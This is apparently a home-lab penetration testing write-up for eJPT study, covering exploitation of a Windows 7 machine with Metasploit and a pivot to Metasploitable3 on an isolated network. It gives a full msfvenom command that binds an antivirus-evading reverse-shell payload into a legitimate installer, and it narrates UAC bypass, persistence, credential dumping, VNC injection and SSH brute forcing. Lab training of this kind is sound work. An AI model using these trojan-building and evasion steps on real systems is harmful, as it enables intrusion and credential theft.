November 22, 2026
Home-Lab Penetration Testing Write-Up: Exploiting Windows 7 and Pivoting to Metasploitable3
A practical Home-Lab exercise based on the eJPT certification curriculum โ from initial access to pivoting.
By Muhammedabdulrhman
6 min read
Disclaimer: Do not attempt any of the techniques described in this write-up on assets you do not own or do not have explicit permission to test. All systems used in this lab were run on an isolated network, completely disconnected from the internet, because they contain known vulnerabilities. Never expose such vulnerable machines to the internet.
Note: This was a practical Home-Lab training exercise based on the eJPT (eLearnSecurity Junior Penetration Tester) certification curriculum.
Introduction
Welcome everyone! Today we are going to prepare a Home-Lab and attempt to exploit a Windows machine using the Metasploit Framework.
We have three machines:
- Kali Linux โ our attacking machine
- Windows 7 โ the first target
- Metasploitable3 โ the second target (Linux)
Our scope is to take full control of the Windows machine and then pivot into the Metasploitable3 machine.
Step 1: Network Discovery
First of all, we need to identify the machines in our network to know their IP addresses and which machine owns which IP. To do this, we will use Nmap, which is a perfect scanner.
We need to use the ping sweep technique โ as in ping IP_ADDRESS โ and try to ping every possible IP in our subnet. To do this, we first need to specify our subnet mask.
Run the following command in your terminal:
ifconfigifconfigThis will show you all network adapters along with their connections, IP addresses, and subnet masks โ exactly what we were looking for.
We now know that our IP is 192.168.1.201 and our subnet mask is 255.255.255.0. After converting this subnet into binary, we can see that it contains 24 ones, which looks like this: 11111111.11111111.11111111.00000000.
So we will type the subnet and the IP in CIDR format like this: 192.168.1.0/24 โ to make Nmap understand both the IP and the subnet.
After that, we will use Nmap to scan that CIDR range using the following command:
nmap -sn 192.168.1.0/24nmap -sn 192.168.1.0/24(-sn stands for ping sweep)
As we can see, the result shows that the Windows machine's IP is 192.168.1.202.
Step 2: Creating the Payload
We are going to exploit this machine using an undetectable payload for Windows 7, and we will combine it with an executable program. We will create our payload using msfvenom, an advanced tool for generating payload files that refers to the Metasploit Framework.
Before we get deeper, you just need to understand how to make your payload harder for anti-malware software to recognize:
- Encode your payload file with multiple iterations to guarantee that this step is done correctly. The most effective encoder is
shikata_ga_nai. - Mix your payload with an executable file, such as any software, game, or program. You also need to inject your file into a new thread.
- Delay the connection time. When the user opens this file, you will gain a
reverse_tcpconnection, but you need to delay that connection by a couple of seconds to make it harder to recognize.
Now that we know how to create a payload correctly, let's type the command:
msfvenom โ arch x86 โ platform windows โ encoder x86/shikata_ga_nai โ iteration 20 โ format exe โ payload windows/meterpreter/reverse_tcp -x '/home/kali/server/testdisk-7.3/testdisk_win.exe' -k LHOST=192.168.1.201 LPORT=4444 -o final.exemsfvenom โ arch x86 โ platform windows โ encoder x86/shikata_ga_nai โ iteration 20 โ format exe โ payload windows/meterpreter/reverse_tcp -x '/home/kali/server/testdisk-7.3/testdisk_win.exe' -k LHOST=192.168.1.201 LPORT=4444 -o final.exe
As we can see, the payload has been created successfully. Let's send it to the Windows machine.
Step 3: Setting Up the Listener
We need to listen on the port we used, which is 4444. We will use the multi/handler module and fill in all the options to start listening.
Let's open that file on the victim machine.
We got this error because we need to install the C++ runtime to run this app. Despite the app giving us an error, the payload still worked well.
Step 4: Process Migration
Now we want to migrate our process to make the session work in another process on that system, because if the user closes that process, the session would die.
Now we can see our process, so we will migrate that session into another one. Best practice is to migrate into a Windows default process to guarantee that the process won't be closed. In my case, I prefer to migrate to explorer.exe because it's the process that manages the GUI in the Windows system. So if the user kills that process, they won't see anything :))
Now the user closes the application and File Manager, and I'm still connected to that machine.
Step 5: Privilege Escalation
Now we need Administrator privileges to open a backdoor freely on that machine. So we will use exploit/windows/local/bypassuac to bypass the UAC system before we run getsystem.
We will set our session ID and run the module.
Now we have all privileges on that system. So we can now set up a persistence backdoor to return to the system easily without exploiting it again. We will use scheduled tasks in Windows to implement that idea (this module requires Administrator privileges).
Step 6: Credential Harvesting
To get more information, I prefer to save the system credentials, so we will get the users and their passwords as hashes.
Now I will crack these passwords using John the Ripper.
But there is another technique using Kiwi. Kiwi does not extract passwords from SAM files โ instead, it extracts them from memory to get them as plain text.
Step 7: GUI Access via VNC
Now we have taken full control of the Windows machine, but sometimes I don't want to control the system using only the terminal โ I would like to use a GUI as well. So we will use VNC (Virtual Network Computing). We will run the VNC system on the victim machine and listen to it in another tab in the terminal.
We ran VNC on port 2000. So we will listen on the same port using windows/vncinject/reverse_tcp.
[IMAGE: VNC listener]
Step 8: Pivoting into the Linux Machine
Now it's time to pivot into the Linux machine. We can see the victim's routing table using route list.
I noticed that there is a route with 192.168.2.0, which is another network I cannot access from my main machine. So I can use the autoroute module to add these routes to my routing table.
I will scan this new network using the scanner/portscan/tcp module.
Now I know that there is another machine on that network with the IP 192.168.2.3, because 192.168.2.4 is the other IP for the Windows machine I've compromised.
I will now forward these ports for my main machine.
And scan it with Nmap for more details.
Now we know exactly which services are running on the Linux machine and their versions. We could perform many attacks, such as the vsftpd backdoor, but I believe that in many cases, lack of awareness and human error is the main problem. So I am going to try to brute force the username and password for the SSH service.
And now we are in the system.
Conclusion
Thank you for reading this write-up for my Home-Lab for the eJPT exam.